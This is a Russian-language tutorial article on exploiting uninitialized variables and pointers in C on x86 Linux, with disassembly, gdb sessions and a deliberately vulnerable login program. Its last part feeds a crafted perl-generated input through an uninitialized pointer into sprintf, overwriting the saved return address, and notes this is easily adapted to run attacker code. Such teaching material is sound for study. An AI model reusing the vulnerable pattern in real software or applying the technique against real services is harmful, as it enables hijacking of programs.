В этой статье описывается, как неинициализированные переменные могут стать причиной “неопределенного поведения” программы, а также приводится пример того, как данный факт может быть использован для перехвата управления приложением.
В этой статье описывается, как неинициализированные переменные могут стать причиной “неопределенного поведения” программы, а также приводится пример того, как данный факт может быть использован для перехвата управления приложением.
Все приведенные примеры были проверены на Ubuntu Linux [1]. Надеемся, что читатель, ознакомившись с представленным материалом, заинтересуется аналогичными проблемами в функциях glibc, коде ядра и многопоточных приложениях [2].Все примеры написаны на Си и ассемблере под x86. Как читатель, вы должны разбираться в этих языках программирования, а также не испытывать проблем с дизассемблированием и получением информации из страниц стандартной документации (man pages).
В начале 2005 года я изучал исходники одного почтового демона. В коде активно использовались указатели и связанные списки, а также присутствовало несколько ошибок, дающих возможность перехвата потока выполнения приложения из функции, в которой происходит разыменование неинициализированного указателя.
Исследуя эту уязвимость, я заметил несколько странностей, которые позволили мне предположить, что значение разыменованного неинициализированного указателя не всегда неопределенно.На основе опыта исследования этой уязвимости, я покажу, как разыменование неинициализированного указателя, при определенных условиях, может быть использовано для создания рабочего эксплойта.
Во время разработки приложения программист часто использует глобальные переменные, содержащие предопределенные значения. В том случае, если глобальной переменной присвоено значение, она является инициализированными данными и обычно находится в сегменте .data исполняемого файла. Если значение переменной не определено, она считается неинициализированной и помещается в сегмент .bss исполняемого файла.
example-1.c#include <stdio.h> int gvar = 12; int main(void) { printf(“%d\n”, gvar); return gvar; }
В примере выше, переменная ‘gvar’ объявлена как глобальная и инициализирована значением 12. При компиляции программы, переменная gvar, имеющая значение 12, будет добавлена в сегмент .data.
example-1-dbglaptop:~/paper/examples$ gdb -q ./example_1 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) info variables gvar All variables matching regular expression "gvar": Non-debugging symbols: 0x080495b4 gvar (gdb) x/x 0x080495b4 0x80495b4 <gvar>: 0x0000000c (gdb) info symbol 0x080495b4 gvar in section .data
Такие переменные уже инициализированы при компиляции и, если вы не обнаружите переполнения в другой переменной сегмента .date или не контролируете что-то, что может изменить gvar, шанс управления их данными очень мал.
Для простоты, эксплойтирование данных, инициализированных во время компиляции, не будет обсуждаться.Вы также можете скомпилировать вышеприведенную программу, не инициализируя переменную gvar. В этом случае переменная будет определена как неинициализированная и помещена в сегмент .bss. Этот сегмент содержит неинициализированные данные, место под которые отводится в процессе выполнения программы. Это означает, что разыменование данных сегмента .bss приведет к разыменованию указателя на NULL [3].
Другой стандартный метод инициализации переменных – во время выполнения программы. Этот тип инициализации применяется для переменных, объявленных внутри функций.
example-2.c#include <stdio.h> int local_init(void *arg) { int *val1 = (int *)arg; return 0; } int main(void) { local_init(NULL); return 0; }
В приведенном коде в функции local_init объявлена локальная переменная val1. Место под эту переменную не выделено в пределах объектного файла, вместо этого она преобразована в машинные команды, которые при выполнении выделяют необходимое пространство в стеке. Это можно увидеть на следующем дизассемблированном листинге:
example-2-dbgint local_init(void *arg) { 8048348: 55 push %ebp 8048349: 89 e5 mov %esp,%ebp 804834b: 83 ec 10 sub $0x10,%esp int *val1 = (int *)arg; 804834e: 8b 45 08 mov 0x8(%ebp),%eax 8048351: 89 45 fc mov %eax,0xfffffffc(%ebp) return 0; 8048354: b8 00 00 00 00 mov $0x0,%eax } 8048359: c9 leave 804835a: c3 retСначала выделяется 16 байт ($0x10) под стек функции, затем в начало только что выделенного пространства копируется значение переменной void *arg.
Далее мы сосредоточимся на контроле над пространством стека и данных с целью влияния на локальные переменные, место под которые выделяется в процессе выполнения приложения.
Будем предполагать, что с вопросами инициализации во время компиляции и во время выполнения мы разобрались. Знание того, как переменные инициализируются данными, будет ключом к пониманию того, как работает разыменование.
Разыменование - термин, используемый программистами, означающий обращение к данным, на которые ссылается указатель. В качестве аналогии можно привести пример человека в комнате, в которой находится несколько вещей – компьютер, футбольный мяч и кровать. Как только человек указывает на вещь, он ссылается на нее. Как только он берет вещь, он разыменовывает ее.По этой аналогии человек это указатель. Множество людей могут указывать на одну и ту же вещь, так же как и множество указателей могут ссылаться на один и тот же адрес в памяти.
example-3.cinclude <stdio.h> int local_init(void *arg) { int *val1 = (int *)arg; int val2 = *val1; printf(“0x%08x\n”, val2); return 0; } int main(void) { int val = 0x01020304; local_init(&val); return 0; }
В этом примере локальной переменной val1 присваивается адрес, хранящийся в arg. Присваивание val2 к *val1 разыменовывает значение, на которое указывает val1 и присваивает его val2.
Посмотреть, как это происходит на более низком уровне можно с помощью дизассемблера.
example-3-dbg1 080483a8 <local_init>: 2 #include <stdio.h> 3 4 int local_init(void *arg) 5 { 6 80483a8: 55 push %ebp 7 80483a9: 89 e5 mov %esp,%ebp 8 80483ab: 83 ec 18 sub $0x18,%esp 9 int *val1 = (int *)arg; 10 80483ae: 8b 45 08 mov 0x8(%ebp),%eax 11 80483b1: 89 45 f8 mov %eax,0xfffffff8(%ebp) 12 int val2 = *val1; 13 80483b4: 8b 45 f8 mov 0xfffffff8(%ebp),%eax 14 80483b7: 8b 00 mov (%eax),%eax 15 80483b9: 89 45 fc mov %eax,0xfffffffc(%ebp) 16 17 fprintf(stdout, "0x%08x\n", val2); 18 80483bc: a1 28 96 04 08 mov 0x8049628,%eax 19 80483c1: 83 ec 04 sub $0x4,%esp 20 80483c4: ff 75 fc pushl 0xfffffffc(%ebp) 21 80483c7: 68 1c 85 04 08 push $0x804851c 22 80483cc: 50 push %eax 23 80483cd: e8 f6 fe ff ff call 80482c8 <fprintf@plt> 24 80483d2: 83 c4 10 add $0x10,%esp 25 return 0; 26 80483d5: b8 00 00 00 00 mov $0x0,%eax 27 } 28 80483da: c9 leave 29 80483db: c3 ret 30 31 080483dc <main>: 32 33 int main(void) 34 { 35 80483dc: 55 push %ebp 36 80483dd: 89 e5 mov %esp,%ebp 37 80483df: 83 ec 18 sub $0x18,%esp 38 80483e2: 83 e4 f0 and $0xfffffff0,%esp 39 80483e5: b8 00 00 00 00 mov $0x0,%eax 40 80483ea: 83 c0 0f add $0xf,%eax 41 80483ed: 83 c0 0f add $0xf,%eax 42 80483f0: c1 e8 04 shr $0x4,%eax 43 80483f3: c1 e0 04 shl $0x4,%eax 44 80483f6: 29 c4 sub %eax,%esp 45 int val = 0x01020304; 46 80483f8: c7 45 fc 04 03 02 01 movl $0x1020304,0xfffffffc(%ebp) 47 local_init(&val); 48 80483ff: 83 ec 0c sub $0xc,%esp 49 8048402: 8d 45 fc lea 0xfffffffc(%ebp),%eax 50 8048405: 50 push %eax 51 8048406: e8 9d ff ff ff call 80483a8 <local_init> 52 804840b: 83 c4 10 add $0x10,%esp 53 return 0; 54 804840e: b8 00 00 00 00 mov $0x0,%eax 55 } 56 8048413: c9 leave 57 8048414: c3 retНаиболее важные вещи, на которые нужно обратить внимание:
Разыменование указателя происходит в строке 14. Перед этим, в регистр eax помещается адрес для разыменования. Очень важно обратить внимание на то, что для разыменования переменной val1 используется адрес, находящийся в стеке.
Перед тем как двигаться дальше, читатель должен изучить и понять, как происходит разыменование.Вы можете спросить, как вся эта информация может помочь при исследовании программ и как она может быть использована для создания эксплойта?
Перед тем как я начну разговор об этом, вы должны освежить в своей памяти всю информацию, относящуюся к известным уязвимостям:Проницательный читатель знает, что при инициализации локальных переменных во время выполнения, данные находятся не в самом исполняемом файле, а представлены в виде машинных команд, устанавливающих значения этих переменных. Локальные переменные хранят свои значение в стеке, которые, как ожидается, будут удалены из стека при выходе из функции.
Это код может быть очень интересен:0x080483d2 <local_init+42>: add $0x10,%esp 0x080483d5 <local_init+45>: mov $0x0,%eax 0x080483da <local_init+50>: leaveleave – освобождает фрейм стека, созданный вызванной перед этим командой ENTER. Команда LEAVE копирует указатель фрейма (находящийся в регистре EBP) в регистр указатель стека (ESP). Старый указатель фрейма (указатель фрейма вызывающий процедуры, сохраненный командой ENTER) берется из стека и помещается в регистр EBP, восстанавливая фрейм стека вызывающий процедуры.
Кроме того, что эта команда корректирует стек и возвращает поток выполнения в вызывающую процедуру, интересно также и то, что она не затирает данные в стеке. Это означает, что если были выполнены несколько функций, каждый раз использовалось одно и то же пространство стека.
Для нас особый интерес представляют следующие моменты:
Если можно контролировать данные, попадающие в стек, можно контролировать значение адреса, которое используется при разыменовании неинициализированного указателя. И атакующий может это осуществить.
Рассмотрим следующий пример:
example-4.S1 .globl _start 2 .section .text 3 4 5 _start: 6 pushl %esp 7 movl %esp, %ebp 8 9 call r1 10 call r2 11 12 movl $0x1, %eax 13 int $0x80 14 15 16 r1: 17 pushl %ebp 18 movl %esp, %ebp 19 subl $0x4, %esp 20 21 movl $0x41414141, (%esp) 22 23 addl $0x4, %esp 24 movl %ebp, %esp 25 popl %ebp 26 ret 27 28 r2: 29 pushl %ebp 30 movl %esp, %ebp 31 subl $0x4, %esp 32 33 movl (%esp), %eax 34 int3 35 36 addl $0x4, %esp 37 popl %ebp 38 ret
Подпрограмма r1 не очистила значение 0x41414141 в стеке, вместо этого был подкорректирован указатель стека. Это означает, что если поток выполнения перейдет к подпрограмме r2 и в ней будет выделено пространство в стеке (строка 31), оно уже будет инициализировано тем, что было в этом месте стека ранее. В данном случае, это будет 0x41414141.
Убедиться во всем можно, запустив вышеприведенную программу в отладчике:
example-4-dbglaptop:~/paper/examples$ gdb -q ./example_5 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass r2 Dump of assembler code for function r2: 0x0804809c <r2+0>: push %ebp 0x0804809d <r2+1>: mov %esp,%ebp 0x0804809f <r2+3>: sub $0x4,%esp 0x080480a2 <r2+6>: mov (%esp),%eax 0x080480a5 <r2+9>: int3 0x080480a6 <r2+10>: add $0x4,%esp 0x080480a9 <r2+13>: pop %ebp 0x080480aa <r2+14>: ret End of assembler dump. (gdb) break *r2+3 Breakpoint 1 at 0x804809f: file ./example_5.S, line 31. (gdb) r Starting program: /home/mercy/paper/examples/example_5 Breakpoint 1, r2 () at ./example_5.S:31 31 subl $0x4, %esp Current language: auto; currently asm (gdb) i r eax eax 0x0 0 (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. r2 () at ./example_5.S:36 36 addl $0x4, %esp (gdb) i r eax eax 0x41414141 1094795585Для использования уязвимостей этого типа вам нужно контролировать данные, сохраненные в стеке перед вызовом уязвимой функции. Кроме того, в уязвимой функции должны выполняться некоторые критические операции над неинициализированной переменной.
Приведем пример:
void r2(void) { int trusted_variable; if(trusted_variable == 0x41414141) give_root(); return; }Если атакующий контролирует пространство стека, выделенное под переменную trusted_variable, он может сделать условие истинным и получить права root.
Настало время показать на практике как можно использовать такие уязвимости. В этом примере я буду использовать прототип почтового демона, о котором упоминалось в начале статьи.
Упрощенное поведение почтовой программы сводится к следующему:Уязвимость присутствует в функции аутентификации, в том месте, где пользователь вводит неверную комбинацию логин/пароль, информация об этом пишется в лог и соединение прерывается. Функция записи в лог использует неинициализированный указатель, указывающий на ранее переданные логин и пароль, находящиеся в стеке. В этом месте можно нарушить ход работы функции sprintf и получить контроль над потоком выполнения программы.
Учитывая условия, при которых описанную уязвимость можно использовать, я написал простую уязвимую программу:
example-5.c1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 #define MAX_USER 1024 6 #define MAX_PASS MAX_USER 7 8 #define ERR_CRITIC 0x01 9 #define ERR_AUTH 0x02 10 11 int do_auth(void) 12 { 13 char username[MAX_USER], password[MAX_PASS]; 14 15 fprintf(stdout, "Please enter your username: "); 16 fgets(username, MAX_USER, stdin); 17 18 fflush(stdin); 19 20 fprintf(stdout, "Please enter your password: "); 21 fgets(password, MAX_PASS, stdin); 22 23 #ifdef DEBUG 24 fprintf(stderr, "Username is at: 0x%08x (%d)\n", &username, strlen(username)); 25 fprintf(stderr, "Password is at: 0x%08x (%d)\n", &password, strlen(password)); 26 27 #endif 28 if(!strcmp(username, "user") && !strcmp(password, "washere")) 29 { 30 return 0; 31 } 32 33 return -1; 34 } 35 36 int log_error(int farray, char *msg) 37 { 38 char *err, *mesg; 39 char buffer[24]; 40 41 #ifdef DEBUG 42 fprintf(stderr, "Mesg is at: 0x%08x\n", &mesg); 43 fprintf(stderr, "Mesg is pointing at: 0x%08x\n", mesg); 44 #endif 45 memset(buffer, 0x00, sizeof(buffer)); 46 sprintf(buffer, "Error: %s", mesg); 47 48 fprintf(stdout, "%s\n", buffer); 49 return 0; 50 } 51 52 int main(void) 53 { 54 switch(do_auth()) 55 { 56 case -1: 57 log_error(ERR_CRITIC | ERR_AUTH, "Unable to login"); 58 break; 59 default: 60 break; 61 } 62 return 0; 63 }
С точки зрения атакующего использование этой уязвимости тривиально. Атакующий должен вместо логина передать адрес буфера, в котором хранится пароль, а вместо пароля полезную нагрузку эксплойта.
Причина в том, что ‘mesg’ – “доверенный” указатель. Программист хотел инициализировать ‘mesg’ указателем ‘msg’, переданным в функцию, но не сделал этого. В стеке ‘mesg’ находится выше имени пользователя и значение этой переменной - это адрес, разыменование которого происходит при вызове sprintf.Поэтому атакующий должен подставить адрес буфера, содержимым которого он управляет. Используя этот буфер, он может нарушить нормальный ход работы sprintf (строка 46) как и при любом другом переполнении.
example-5-dbglaptop:~/paper/examples$ gcc ./example_6.c -o example_6 -ggdb3 -DDEBUG laptop:~/paper/examples$ echo `perl -e'print "\xe0\xf0\xff\xbf" x 255 . "\n" . "B" x 1024'` | ./example_6 Username is at: 0xbffff4e0 (1023) Password is at: 0xbffff0e0 (1023) Mesg is at: 0xbffff8d0 Mesg is pointing at: 0xbffff0e0 Please enter your username: Please enter your password: Error: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Segmentation fault (core dumped) laptop:~/paper/examples$ gdb -q -c ./core Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (no debugging symbols found) Core was generated by `./example_6'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? () (gdb)В этом примере атакующий подставил адрес массива ‘password’ в массив ‘username’. Также, в целях отладки, атакующий заполнил массив ‘password’ символами ‘B’.
Когда при вызове sprintf будет разыменован указатель ‘mesg’, в реальности будет разыменован адрес, находящийся в массиве ‘username’, в нашем случае адрес массива ‘password’. Затем sprintf скопирует содержимое массива ‘password’ до первого встретившегося NULL. В нашей ситуации массив ‘password’ больший, чем ‘buffer’, перезапишет сохраненное значение регистра EIP. Атакующий сможет легко модифицировать этот эксплойт для выполнения своего собственного кода.
Данная статья описывает использование неинициализированных указателей, однако принцип нарушения нормальной работы неинициализированных указателей может быть применен к любым критическим участкам, где используются инвариантные данные, например связанные списки, очереди, сетевые протоколы и т.д.